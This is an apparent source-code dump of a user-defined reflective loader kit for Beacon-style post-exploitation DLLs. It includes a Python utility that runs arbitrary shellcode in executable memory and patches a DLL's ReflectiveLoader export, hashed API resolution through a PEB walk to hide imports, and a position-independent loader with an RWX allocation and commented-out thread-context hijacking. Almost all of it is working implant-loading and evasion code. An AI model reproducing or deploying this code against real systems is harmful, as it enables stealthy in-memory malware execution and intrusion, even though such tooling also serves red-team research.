198 | LPVOID lpTlsBitmap;
199 | DWORD dwTlsBitmapBits[2];
200 | LPVOID lpReadOnlySharedMemoryBase;
201 | LPVOID lpReadOnlySharedMemoryHeap;
202 | LPVOID lpReadOnlyStaticServerData;
203 | LPVOID lpAnsiCodePageData;
204 | LPVOID lpOemCodePageData;
205 | LPVOID lpUnicodeCaseTableData;
206 | DWORD dwNumberOfProcessors;
207 | DWORD dwNtGlobalFlag;
208 | LARGE_INTEGER liCriticalSectionTimeout;
209 | DWORD dwHeapSegmentReserve;
210 | DWORD dwHeapSegmentCommit;
211 | DWORD dwHeapDeCommitTotalFreeThreshold;
212 | DWORD dwHeapDeCommitFreeBlockThreshold;
213 | DWORD dwNumberOfHeaps;
214 | DWORD dwMaximumNumberOfHeaps;
215 | LPVOID lpProcessHeaps;
216 | LPVOID lpGdiSharedHandleTable;
217 | LPVOID lpProcessStarterHelper;
218 | DWORD dwGdiDCAttributeList;
219 | LPVOID lpLoaderLock;
220 | DWORD dwOSMajorVersion;
221 | DWORD dwOSMinorVersion;
222 | WORD wOSBuildNumber;
223 | WORD wOSCSDVersion;
224 | DWORD dwOSPlatformId;
225 | DWORD dwImageSubsystem;
226 | DWORD dwImageSubsystemMajorVersion;
227 | DWORD dwImageSubsystemMinorVersion;
228 | DWORD dwImageProcessAffinityMask;
229 | DWORD dwGdiHandleBuffer[34];
230 | LPVOID lpPostProcessInitRoutine;
231 | LPVOID lpTlsExpansionBitmap;
232 | DWORD dwTlsExpansionBitmapBits[32];
233 | DWORD dwSessionId;
234 | ULARGE_INTEGER liAppCompatFlags;
235 | ULARGE_INTEGER liAppCompatFlagsUser;
236 | LPVOID lppShimData;
237 | LPVOID lpAppCompatInfo;
238 | UNICODE_STR usCSDVersion;
239 | LPVOID lpActivationContextData;
240 | LPVOID lpProcessAssemblyStorageMap;
241 | LPVOID lpSystemDefaultActivationContextData;
242 | LPVOID lpSystemAssemblyStorageMap;
243 | DWORD dwMinimumStackCommit;
244 | } _PEB, * _PPEB;
245 |
246 | typedef struct {
247 | WORD offset : 12;
248 | WORD type : 4;
249 | } IMAGE_RELOC, * PIMAGE_RELOC;
250 |
251 | typedef struct BASE_RELOCATION_BLOCK {
252 | DWORD PageAddress;
253 | DWORD BlockSize;
254 | } BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK;
255 |
256 | typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID);
257 |
258 | typedef struct {
259 | char* start;
260 | DWORD length;
261 | DWORD offset;
262 | } RDATA_SECTION, *PRDATA_SECTION;
263 |
--------------------------------------------------------------------------------
/udrl.py:
--------------------------------------------------------------------------------
1 | import argparse
2 | import binascii
3 | import io
4 | import itertools
5 | import pefile
6 |
7 |
8 | def execute(bytes):
9 | """
10 | A function to execute a user-supplied byte array. This function allocates memory, copies the supplied bytearray into
11 | it and creates a thread of execution.
12 |
13 | Parameters:
14 | bytes (bytearray): The user-supplied shellcode.
15 | """
16 | import ctypes
17 |
18 | ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
19 | ctypes.windll.kernel32.RtlMoveMemory.argtypes = (ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t)
20 | ctypes.windll.kernel32.CreateThread.argtypes = (ctypes.c_int, ctypes.c_int, ctypes.c_void_p, ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_int))
21 |
22 | memory_allocation = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(bytes)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
23 | if memory_allocation is not None:
24 | shellcode = (ctypes.c_char * len(bytes)).from_buffer_copy(bytes)
25 | print(f"[+] Start Address: {hex(memory_allocation)}")
26 | ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(memory_allocation), shellcode, ctypes.c_size_t(len(bytes)))
27 | handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_void_p(memory_allocation), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
28 | if handle is not None:
29 | print("[+] Shellcode Executed")
30 | ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
31 |
32 |
33 | def xxd(name, data):
34 | """
35 | A function to convert a bytearray into an unsigned char array initializer.
36 |
37 | Parameters:
38 | name (str): The name of the unsigned char array.
39 | data (bytearray): The binary data to be converted into the array initializer.
40 |
41 | Returns:
42 | str: A string representation of the array initializer.
43 | """
44 | template = "unsigned char %s[] = {\n %s\n};"
45 | hexs = map(lambda x: '0x%02x' % x, data)
46 | groups = itertools.zip_longest(*[iter(hexs)] * 16)
47 | groups = map(lambda x: ', '.join(filter(None, x)), groups)
48 | lines = ',\n '.join(groups)
49 | return template % (name, lines)
50 |
51 |
52 | def stomp_loader(ldr, rdll):
53 | """
54 | A function to overwrite a reflective DLL's ReflectiveLoader() function with a custom loader.
55 |
56 | Parameters:
57 | ldr (bytearray): The user-defined reflective loader
58 | rdll (bytearray): The input DLL
59 |
60 | Returns:
61 | bytearray: The updated DLL.
62 | """
63 | input_dll = pefile.PE(data=rdll)
64 | export_directory = [pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_EXPORT"]]
65 | input_dll.parse_data_directories(directories=export_directory)
66 | text_virtual_address = 0
67 | text_raw_data = 0
68 |
69 | for section in input_dll.sections:
70 | if b'.text' in section.Name:
71 | text_virtual_address = section.VirtualAddress
72 | text_raw_data = section.PointerToRawData
73 |
74 | for export in input_dll.DIRECTORY_ENTRY_EXPORT.symbols:
75 | # _ReflectiveLoader@4 is the name of the exported function in x86
76 | if (export.name == b"ReflectiveLoader" or export.name == b"_ReflectiveLoader@4"):
77 | RVA = export.address
78 | file_offset = RVA - text_virtual_address + text_raw_data
79 | print(f"[*] Found ReflectiveLoader - RVA: {hex(export.address)}\tFile Offset: {hex(file_offset)}")
80 | result = input_dll.set_bytes_at_offset(file_offset, ldr)
81 | if result:
82 | print("[+] Success: Applied UDRL to DLL")
83 | updated_rdll = bytearray(input_dll.__data__)
84 | return updated_rdll
85 | else:
86 | raise Exception("[-] Error: failed to apply UDRL")
87 | raise Exception("[-] Error: unable to find exported function")
88 |
89 |
90 | def extract_custom_loader(peFile):
91 | """
92 | A function to extract the .text from a given executable.
93 |
94 | Parameters:
95 | peFile (bytearray): The user-supplied executable.
96 |
97 | Returns:
98 | bytearray: The user-defined reflective loader.
99 | """
100 | pe = pefile.PE(data=peFile)
101 | found_text_section = False
102 | for section in pe.sections:
103 | if b'.text' in section.Name:
104 | found_text_section = True
105 | data = section.get_data(ignore_padding=True)
106 | while data[-1] == 0:
107 | data = data[:-1]
108 | print("[+] Success: Extracted loader")
109 | return data
110 | if not found_text_section:
111 | peFile.close()
112 | raise Exception("[-] Error: loader not found")
113 | return
114 |
115 |
116 | def cmd_run(args):
117 | """
118 | A command function that runs a given DLL via a user-defined reflective loader.
119 |
120 | Parameters:
121 | args (argparse.Namespace): The user supplied arguments (cmd, loader_exe, input_dll)
122 | """
123 | loader = extract_custom_loader(args.loader_exe.read())
124 | input_dll = args.input_dll.read()
125 | args.loader_exe.close()
126 | args.input_dll.close()
127 | print(f"[*] Size of loader: {len(loader)}")
128 | if args.cmd == "stomp-udrl":
129 | rdll = stomp_loader(loader, input_dll)
130 | execute(rdll)
131 | elif args.cmd == "prepend-udrl":
132 | execute(loader + input_dll)
133 |
134 |
135 | def cmd_execute_payload(args):
136 | """
137 | A command function to execute abitrary shellcode.
138 |
139 | Parameters:
140 | args (argparse.Namespace): The user supplied arguments (payload_bin)
141 | """
142 | payload = args.payload_bin.read()
143 | args.payload_bin.close()
144 | execute(payload)
145 |
146 |
147 | def cmd_xxd(args):
148 | """
149 | A command function that uses xxd() to convert a bytearray into an unsigned char array initializer.
150 |
151 | Parameters:
152 | args (argparse.Namespace): The user supplied arguments (binary_file, output_file)
153 | """
154 | file_output = xxd("debug_dll", args.binary_file.read())
155 | args.output_file.write(file_output)
156 | print(f"[+] Success: Written {args.binary_file.name} to {args.output_file.name}")
157 |
158 |
159 | def cmd_extract(args):
160 | """
161 | A command function that uses extract_custom_loader() to extract a user-defined reflective loader from a given udrl-vs executable.
162 |
163 | Parameters:
164 | args (argparse.Namespace): The user supplied arguments (loader_exe, output_file)
165 | """
166 | loader = extract_custom_loader(args.loader_exe.read())
167 | args.output_file.write(loader)
168 | print(f"[+] Success: Written UDRL to {args.output_file.name}. Total Size: {len(loader)} bytes")
169 |
170 |
171 | def main():
172 | print("""
173 | _ _
174 | | | | |
175 | _ _ __| |_ __| | _ __ _ _
176 | | | | |/ _` | '__| | | '_ \| | | |
177 | | |_| | (_| | | | |_| |_) | |_| |
178 | \__,_|\__,_|_| |_(_) .__/ \__, |
179 | | | __/ |
180 | |_| |___/
181 | """)
182 |
183 | parser = argparse.ArgumentParser(description='A simple Python utility to speed up development of User-Defined Reflective Loaders (UDRLs)')
184 |
185 | sub_parsers = parser.add_subparsers(required=True, dest="cmd")
186 |
187 | parser_xxd = sub_parsers.add_parser('xxd', help='Outputs a given binary in C include file style.')
188 | parser_xxd.add_argument('binary_file', type=argparse.FileType('rb'))
189 | parser_xxd.add_argument('output_file', type=argparse.FileType('w'))
190 | parser_xxd.set_defaults(func=cmd_xxd)
191 |
192 | parser_extract = sub_parsers.add_parser('extract-udrl', help='Extracts the .text section (the UDRL) from the provided executable and saves it to the specified output file.')
193 | parser_extract.add_argument('loader_exe', type=argparse.FileType('rb'))
194 | parser_extract.add_argument('output_file', type=argparse.FileType('wb'))
195 | parser_extract.set_defaults(func=cmd_extract)
196 |
197 | parser_stomp = sub_parsers.add_parser('stomp-udrl', help='Extracts the .text section (the UDRL) from the provided executable, overwrites the existing ReflectiveLoader() in the provided DLL and executes it.')
198 | parser_stomp.add_argument('input_dll', type=argparse.FileType('rb'))
199 | parser_stomp.add_argument('loader_exe', type=argparse.FileType('rb'))
200 | parser_stomp.set_defaults(func=cmd_run)
201 |
202 | parser_prepend = sub_parsers.add_parser('prepend-udrl', help='Extracts the .text section (the UDRL) from the provided executable, prepends it to the provided DLL and executes it.')
203 | parser_prepend.add_argument('input_dll', type=argparse.FileType('rb'))
204 | parser_prepend.add_argument('loader_exe', type=argparse.FileType('rb'))
205 | parser_prepend.set_defaults(func=cmd_run)
206 |
207 | parser_execute_payload = sub_parsers.add_parser('execute-payload', help='Executes the supplied payload file.')
208 | parser_execute_payload.add_argument('payload_bin', type=argparse.FileType('rb'))
209 | parser_execute_payload.set_defaults(func=cmd_execute_payload)
210 |
211 | args = parser.parse_args()
212 | args.func(args)
213 |
214 |
215 | if __name__ == "__main__":
216 | main()
217 |
--------------------------------------------------------------------------------
/library/FunctionResolving.cpp:
--------------------------------------------------------------------------------
1 | #include "FunctionResolving.h"
2 | #include "LoaderTypes.h"
3 | #include "StdLib.h"
4 |
5 | /*******************************************************************
6 | * To avoid problems with function positioning, do not add any new
7 | * functions above this pragma directive.
8 | ********************************************************************/
9 | #pragma code_seg(".text$d")
10 |
11 | /**
12 | * Find the address of a target function within a loaded module.
13 | *
14 | * @param pebAddress A pointer to the Process Environment Block (PEB).
15 | * @param moduleHash A hash of the target module name
16 | * @param functionHash A hash of the target function name
17 | * @return A pointer to the target function.
18 | */
19 | ULONG_PTR GetProcAddressByHash(_PPEB pebAddress, DWORD moduleHash, DWORD functionHash) {
20 | // Get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
21 | PPEB_LDR_DATA ldrData = (PPEB_LDR_DATA)(pebAddress)->pLdr;
22 |
23 | // Get the first entry of the InMemoryOrder module list
24 | PLDR_DATA_TABLE_ENTRY currentLdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)ldrData->InMemoryOrderModuleList.Flink;
25 | while (currentLdrDataTableEntry) {
26 | // Get pointer to current module's name (unicode string)
27 | PWSTR dllName = currentLdrDataTableEntry->BaseDllName.pBuffer;
28 |
29 | // Set counter to the length for the loop
30 | USHORT nameLength = currentLdrDataTableEntry->BaseDllName.Length / 2;
31 |
32 | // Compute the hash of the module name...
33 | DWORD moduleNameHash = 0;
34 | do {
35 | moduleNameHash = _rotr(moduleNameHash, HASH_KEY);
36 | // Normalize to uppercase if the module name is in lowercase
37 | if (*dllName >= 'a') {
38 | moduleNameHash += *dllName - 0x20;
39 | }
40 | else {
41 | moduleNameHash += *dllName;
42 | }
43 | dllName++;
44 | } while (--nameLength);
45 |
46 | if (moduleNameHash == moduleHash) {
47 | // Get this module's base address
48 | ULONG_PTR moduleBaseAddress = (ULONG_PTR)currentLdrDataTableEntry->DllBase;
49 |
50 | // Get the VA of the module's PE Header
51 | PIMAGE_DOS_HEADER moduleDosHeader = (PIMAGE_DOS_HEADER)moduleBaseAddress;
52 | PIMAGE_NT_HEADERS modulePEHeader = (PIMAGE_NT_HEADERS)(moduleBaseAddress + moduleDosHeader->e_lfanew);
53 |
54 | // ExportDataDirectoryEntry = the address of the module's export directory entry
55 | PIMAGE_DATA_DIRECTORY exportDataDirectoryEntry = &modulePEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
56 |
57 | // Get the VA of the export directory
58 | PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(moduleBaseAddress + exportDataDirectoryEntry->VirtualAddress);
59 |
60 | // Get the VA for the array of name pointers
61 | ULONG_PTR nameArray = moduleBaseAddress + exportDirectory->AddressOfNames;
62 |
63 | // Get the VA for the array of name ordinals
64 | ULONG_PTR ordinalArray = moduleBaseAddress + exportDirectory->AddressOfNameOrdinals;
65 |
66 | // Loop while we still have imports to find
67 | while (nameArray) {
68 | // Compute the hash values for this function name
69 | DWORD functionNameHash = RunTimeHash((char*)(moduleBaseAddress + DEREF_32(nameArray)));
70 |
71 | // If we have found a function we want, get its virtual address
72 | if (functionNameHash == functionHash) {
73 | // Get the VA for the array of addresses
74 | ULONG_PTR addressArray = moduleBaseAddress + exportDirectory->AddressOfFunctions;
75 |
76 | // Use this function's name ordinal as an index into the array of name pointers
77 | addressArray += DEREF_16(ordinalArray) * sizeof(DWORD);
78 |
79 | // Store this function's VA
80 | return moduleBaseAddress + DEREF_32(addressArray);
81 | }
82 | // Get the next exported function name
83 | nameArray += sizeof(DWORD);
84 |
85 | // Get the next exported function name ordinal
86 | ordinalArray += sizeof(WORD);
87 | }
88 | }
89 | // Get the next entry
90 | currentLdrDataTableEntry = *(PLDR_DATA_TABLE_ENTRY*)currentLdrDataTableEntry;
91 | }
92 | return NULL;
93 | }
94 |
95 | /**
96 | * Resolve the base loader functions.
97 | *
98 | * @param pebAddress A pointer to the Process Environment Block (PEB).
99 | * @param winApi A pointer to a structure of WINAPI pointers.
100 | * @return A Boolean value to indicate success.
101 | */
102 | BOOL ResolveBaseLoaderFunctions(_PPEB pebAddress, PWINDOWSAPIS winApi, PNTSAPIS ntApi, POTHERSAPIS otherApi) {
103 | winApi->LoadLibraryA = (LOADLIBRARYA)GetProcAddressByHash(pebAddress, KERNEL32DLL_HASH, LOADLIBRARYA_HASH);
104 | if (winApi->LoadLibraryA == NULL) {
105 | PRINT("[-] Failed to find address of key loader function. Exiting..\n");
106 | return FALSE;
107 | }
108 | winApi->GetProcAddress = (GETPROCADDRESS)GetProcAddressByHash(pebAddress, KERNEL32DLL_HASH, GETPROCADDRESS_HASH);
109 | if (winApi->GetProcAddress == NULL) {
110 | PRINT("[-] Failed to find address of key loader function. Exiting..\n");
111 | return FALSE;
112 | }
113 | winApi->VirtualAlloc = (VIRTUALALLOC)GetProcAddressByHash(pebAddress, KERNEL32DLL_HASH, VIRTUALALLOC_HASH);
114 | if (winApi->VirtualAlloc == NULL) {
115 | PRINT("[-] Failed to find address of key loader function. Exiting..\n");
116 | return FALSE;
117 | }
118 | winApi->VirtualProtect = (VIRTUALPROTECT)GetProcAddressByHash(pebAddress, KERNEL32DLL_HASH, VIRTUALPROTECT_HASH);
119 | if (winApi->VirtualProtect == NULL) {
120 | PRINT("[-] Failed to find address of key loader function. Exiting..\n");
121 | return FALSE;
122 | }
123 | winApi->NtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)GetProcAddressByHash(pebAddress, NTDLLDLL_HASH, NTFLUSHINSTRUCTIONCACHE_HASH);
124 | if (winApi->NtFlushInstructionCache == NULL) {
125 | PRINT("[-] Failed to find address of key loader function. Exiting..\n");
126 | return FALSE;
127 | }
128 |
129 |
130 | ntApi->NtCreateThreadEx = (NT_CREATETHREADEX)GetProcAddressByHash(pebAddress, NTDLLDLL_HASH, NTCreateThreadEx_HASH);
131 | if (ntApi->NtCreateThreadEx == NULL) {
132 | PRINT("[-] Failed to find address of key loader function. Exiting..\n");
133 | return FALSE;
134 | }
135 |
136 | ntApi->NtGetContextThread = (NT_GETCONTEXTTHREAD)GetProcAddressByHash(pebAddress, NTDLLDLL_HASH, NTGetContextThread_HASH);
137 | if (ntApi->NtGetContextThread == NULL) {
138 | PRINT("[-] Failed to find address of key loader function. Exiting..\n");
139 | return FALSE;
140 | }
141 |
142 | ntApi->NtSetContextThread = (NT_SETCONTEXTTHREAD)GetProcAddressByHash(pebAddress, NTDLLDLL_HASH, NTSetContextThread_HASH);
143 | if (ntApi->NtSetContextThread == NULL) {
144 | PRINT("[-] Failed to find address of key loader function. Exiting..\n");
145 | return FALSE;
146 | }
147 |
148 | ntApi->NtResumeThread = (NT_RESUMETHREAD)GetProcAddressByHash(pebAddress, NTDLLDLL_HASH, NTResumeThread_HASH);
149 | if (ntApi->NtResumeThread == NULL) {
150 | PRINT("[-] Failed to find address of key loader function. Exiting..\n");
151 | return FALSE;
152 | }
153 |
154 | ntApi->RtlCaptureContext = (RTL_CAPTURECONTEXT)GetProcAddressByHash(pebAddress, NTDLLDLL_HASH, RtlCaptureContext_HASH);
155 | if (ntApi->RtlCaptureContext == NULL) {
156 | PRINT("[-] Failed to find address of key loader function. Exiting..\n");
157 | return FALSE;
158 | }
159 |
160 | winApi->VirtualFree = (VIRTUALFREE)GetProcAddressByHash(pebAddress, KERNEL32DLL_HASH, VirtualFree_HASH);
161 | if (winApi->VirtualFree == NULL) {
162 | PRINT("[-] Failed to find address of key loader function. Exiting..\n");
163 | return FALSE;
164 | }
165 |
166 | ntApi->NtContinue = (NT_CONTINUE)GetProcAddressByHash(pebAddress, NTDLLDLL_HASH, NtContinue_HASH);
167 | if (ntApi->NtContinue == NULL) {
168 | PRINT("[-] Failed to find address of key loader function. Exiting..\n");
169 | return FALSE;
170 | }
171 |
172 | ntApi->RtlExitUserThread = (RTL_EXITUSERTHREAD)GetProcAddressByHash(pebAddress, NTDLLDLL_HASH, RtlExitUserThread_HASH);
173 | if (ntApi->RtlExitUserThread == NULL) {
174 | PRINT("[-] Failed to find address of key loader function. Exiting..\n");
175 | return FALSE;
176 | }
177 |
178 | winApi->TpReleaseCleanupGroupMembers = (PVOID)GetProcAddressByHash(pebAddress, NTDLLDLL_HASH, TpReleaseCleanupGroupMembers_HASH);
179 | if (winApi->TpReleaseCleanupGroupMembers == NULL) {
180 | PRINT("[-] Failed to find address of key loader function. Exiting..\n");
181 | return FALSE;
182 | }
183 |
184 | otherApi->WaitForSingleObject = (WAITFORSINGLEOBJECTS)GetProcAddressByHash(pebAddress, KERNEL32DLL_HASH, WAITFORSINGLEOBJECTS_HASH);
185 | if (otherApi->WaitForSingleObject == NULL) {
186 | PRINT("[-] Failed to find address of key loader function. Exiting..\n");
187 | return FALSE;
188 | }
189 |
190 | otherApi->UnmapViewOfFile = (UNMAPVIEWOFFILE)GetProcAddressByHash(pebAddress, KERNEL32DLL_HASH, UNMAPVIEWOFFILE_HASH);
191 | if (otherApi->UnmapViewOfFile == NULL) {
192 | PRINT("[-] Failed to find address of key loader function. Exiting..\n");
193 | return FALSE;
194 | }
195 |
196 | otherApi->VirtualQuery = (VIRTUALQUERY)GetProcAddressByHash(pebAddress, KERNEL32DLL_HASH, VIRTUALQUERY_HASH);
197 | if (otherApi->VirtualQuery == NULL) {
198 | PRINT("[-] Failed to find address of key loader function. Exiting..\n");
199 | return FALSE;
200 | }
201 |
202 | return TRUE;
203 | }
204 |
--------------------------------------------------------------------------------
/examples/postex-loader/ReflectiveLoader.cpp:
--------------------------------------------------------------------------------
1 |
2 | //===============================================================================================//
3 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
4 | // All rights reserved.
5 | //
6 | // Redistribution and use in source and binary forms, with or without modification, are permitted
7 | // provided that the following conditions are met:
8 | //
9 | // * Redistributions of source code must retain the above copyright notice, this list of
10 | // conditions and the following disclaimer.
11 | //
12 | // * Redistributions in binary form must reproduce the above copyright notice, this list of
13 | // conditions and the following disclaimer in the documentation and/or other materials provided
14 | // with the distribution.
15 | //
16 | // * Neither the name of Harmony Security nor the names of its contributors may be used to
17 | // endorse or promote products derived from this software without specific prior written permission.
18 | //
19 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
20 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
21 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
22 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
23 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
24 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
25 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
26 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
27 | // POSSIBILITY OF SUCH DAMAGE.
28 | //===============================================================================================//
29 |
30 | #include "ReflectiveLoader.h"
31 | #include "End.h"
32 | #include "Utils.h"
33 | #include "FunctionResolving.h"
34 | #include "StdLib.h"
35 |
36 | #include "CleanJob.h"
37 |
38 | /**
39 | * The position independent reflective loader
40 | *
41 | * @return The target DLL's entry point
42 | */
43 | extern "C" {
44 |
45 |
46 | #pragma code_seg(".text$a")
47 | void WINAPI ReflectiveLoader(LPVOID loaderArgument) {
48 | // STEP 0: Determine the start address of the loader
49 | #ifdef _WIN64
50 | // A rip relative address is calculated in x64
51 | void* loaderStart = &ReflectiveLoader;
52 | #elif _WIN32
53 | /*
54 | * &ReflectiveLoader does not work on x86, since it does not support eip relative addressing
55 | * Therefore, it is calculated by substracting the function prologue from the current address
56 | * This is subject to change depending upon the compiler/compiler settings. This could result
57 | * in issues with Beacon/the postex DLL's cleanup routines. As a result, when writing x86 loaders
58 | * we strongly recommend verifying that the correct value is subtracted from the result of
59 | * GetLocation(). GetLocation() will return the address of the instruction following
60 | * the function call. In the example below, GetLocation() returns 0x0000000D which is why
61 | * we subtract 0xD to get back to 0x0. In our testing, this value can change and can sometimes
62 | * cause crashes during cleanup.
63 | *
64 | * The generated disassembly from IDA:
65 | *
66 | * text:00000000 push ebp
67 | * text:00000001 mov ebp, esp
68 | * text:00000003 sub esp, 24h
69 | * text:00000006 push esi
70 | * text:00000007 push edi
71 | * text:00000008 call GetLocation
72 | * text:0000000D sub eax, 11h
73 | */
74 | void* loaderStart = (char*)GetLocation() - 0xE;
75 | #endif
76 | PRINT("[+] Loader Base Address: %p\n", loaderStart);
77 |
78 | // STEP 1: Determine the base address of whatever we are loading
79 | ULONG_PTR rawDllBaseAddress = FindBufferBaseAddress();
80 | PRINT("[+] Raw DLL Base Address: %p\n", rawDllBaseAddress);
81 |
82 | // STEP 2: Determine the location of NtHeader
83 | PIMAGE_DOS_HEADER rawDllDosHeader = (PIMAGE_DOS_HEADER)rawDllBaseAddress;
84 | PIMAGE_NT_HEADERS rawDllNtHeader = (PIMAGE_NT_HEADERS)(rawDllBaseAddress + rawDllDosHeader->e_lfanew);
85 |
86 | // STEP 3: Resolve the functions our loader needs...
87 | _PPEB pebAddress = GetPEBAddress();
88 | WINDOWSAPIS winApi = { 0 };
89 | NTSAPIS ntApi = { 0 };
90 | OTHERSAPIS otherApi = { 0 };
91 | if (!ResolveBaseLoaderFunctions(pebAddress, &winApi, &ntApi, &otherApi)) {
92 | return;
93 | }
94 |
95 | DWORD myselfsize = 0;
96 | LPVOID CleanJobAddr = GetCleanData(&myselfsize);
97 | /**
98 | * STEP 4: Create a new location in memory for the loaded image...
99 | * We're using PAGE_EXECUTE_READWRITE as it's an example.
100 | */
101 | ULONG_PTR loadedDllBaseAddress = (ULONG_PTR)winApi.VirtualAlloc(NULL, rawDllNtHeader->OptionalHeader.SizeOfImage + myselfsize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
102 | if (loadedDllBaseAddress == NULL) {
103 | PRINT("[-] Failed to allocate memory. Exiting..\n");
104 | return;
105 | }
106 | else {
107 | PRINT("[+] Allocated memory: 0x%p\n", loadedDllBaseAddress);
108 | }
109 |
110 | _memcpy((void*)loadedDllBaseAddress, CleanJobAddr, myselfsize);
111 |
112 | // STEP 5: Copy in our headers/sections...
113 | if (!CopyPEHeader(rawDllBaseAddress, loadedDllBaseAddress + myselfsize)) {
114 | PRINT("[-] Failed to copy PE header. Exiting..\n");
115 | return;
116 | };
117 | if (!CopyPESections(rawDllBaseAddress, loadedDllBaseAddress + myselfsize)) {
118 | PRINT("[-] Failed to copy PE sections. Exiting..\n");
119 | return;
120 | };
121 |
122 | // STEP 6: Resolve rdata information
123 | RDATA_SECTION rdata = { 0 };
124 | if (!ResolveRdataSection(rawDllBaseAddress, loadedDllBaseAddress + myselfsize, &rdata)) {
125 | PRINT("[-] Failed to resolve rdata information. Exiting..\n");
126 | return;
127 | };
128 |
129 | // STEP 7: Process the target DLL's import table...
130 | ResolveImports(rawDllNtHeader, loadedDllBaseAddress + myselfsize, &winApi);
131 |
132 | // STEP 8: Process the target DLL's relocations...
133 | ProcessRelocations(rawDllNtHeader, loadedDllBaseAddress + myselfsize);
134 |
135 | // STEP 9: Find the target DLL's entry point
136 | ULONG_PTR entryPoint = loadedDllBaseAddress + myselfsize + rawDllNtHeader->OptionalHeader.AddressOfEntryPoint;
137 | PRINT("[+] Entry point: %p \n", entryPoint);
138 |
139 | /**
140 | * STEP 10: Call the target DLL's entry point
141 | * We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
142 | */
143 | winApi.NtFlushInstructionCache((HANDLE)-1, NULL, 0);
144 |
145 | // Call DllMain twice to ensure that post-ex DLL is set up correctly.
146 | PRINT("[*] Calling the entry point\n");
147 | //((DLLMAIN)entryPoint)((HINSTANCE)loadedDllBaseAddress, DLL_PROCESS_ATTACH, (LPVOID)0x0A2A1DE0);
148 | //((DLLMAIN)entryPoint)((HINSTANCE)loaderStart, 5, (LPVOID)NULL);
149 |
150 | ((void (*)(DLLMAIN, ULONG_PTR, void*, NT_CREATETHREADEX, NT_GETCONTEXTTHREAD, RTL_EXITUSERTHREAD, NT_SETCONTEXTTHREAD, NT_RESUMETHREAD, WAITFORSINGLEOBJECTS, VIRTUALFREE, RTL_CAPTURECONTEXT, NT_CONTINUE, VIRTUALQUERY, PVOID, UNMAPVIEWOFFILE)) loadedDllBaseAddress)((DLLMAIN)entryPoint, loadedDllBaseAddress + myselfsize, loaderStart, ntApi.NtCreateThreadEx, ntApi.NtGetContextThread, ntApi.RtlExitUserThread, ntApi.NtSetContextThread, ntApi.NtResumeThread, otherApi.WaitForSingleObject, winApi.VirtualFree, ntApi.RtlCaptureContext, ntApi.NtContinue, otherApi.VirtualQuery, winApi.TpReleaseCleanupGroupMembers, otherApi.UnmapViewOfFile);
151 |
152 |
153 | // HANDLE hThread = NULL;
154 | // CONTEXT CtxEntry;
155 | // CONTEXT CtxFreeMem;
156 | // MEMORY_BASIC_INFORMATION mbi;
157 | //
158 | // if (NT_SUCCESS(ntApi.NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, NtCurrentProcess(), (PVOID)((ULONG_PTR)winApi.TpReleaseCleanupGroupMembers + (ULONG_PTR)0x8950), NULL, TRUE, 0, 0, 0, NULL)))
159 | // {
160 | // CtxEntry.ContextFlags = CONTEXT_FULL;
161 | // ntApi.NtGetContextThread(hThread, &CtxEntry);
162 | //
163 | //
164 | //#ifdef _WIN64
165 | // CtxEntry.Rip = UINT_PTR(entryPoint);
166 | // CtxEntry.Rcx = UINT_PTR(loadedDllBaseAddress);
167 | // CtxEntry.Rdx = UINT_PTR(DLL_PROCESS_ATTACH);
168 | // *(ULONG_PTR*)CtxEntry.Rsp = UINT_PTR(ntApi.RtlExitUserThread);
169 | //
170 | //#elif _WIN32
171 | //
172 | // DWORD* originalStack = (DWORD*)CtxEntry.Esp;
173 | //
174 | // DWORD* newStack = originalStack - 4;
175 | //
176 | // newStack[0] = (DWORD)UINT_PTR(ntApi.RtlExitUserThread);
177 | // newStack[1] = (DWORD)loadedDllBaseAddress;
178 | // newStack[2] = (DWORD)DLL_PROCESS_ATTACH;
179 | //
180 | // CtxEntry.Esp = (DWORD)newStack;
181 | // CtxEntry.Eip = (DWORD)entryPoint;
182 | //
183 | //#endif
184 | //
185 | // CtxEntry.ContextFlags = CONTEXT_FULL;
186 | // ntApi.NtSetContextThread(hThread, &CtxEntry);
187 | // ntApi.NtResumeThread(hThread, 0);
188 | // }
189 | //
190 | // otherApi.WaitForSingleObject(hThread, INFINITE);
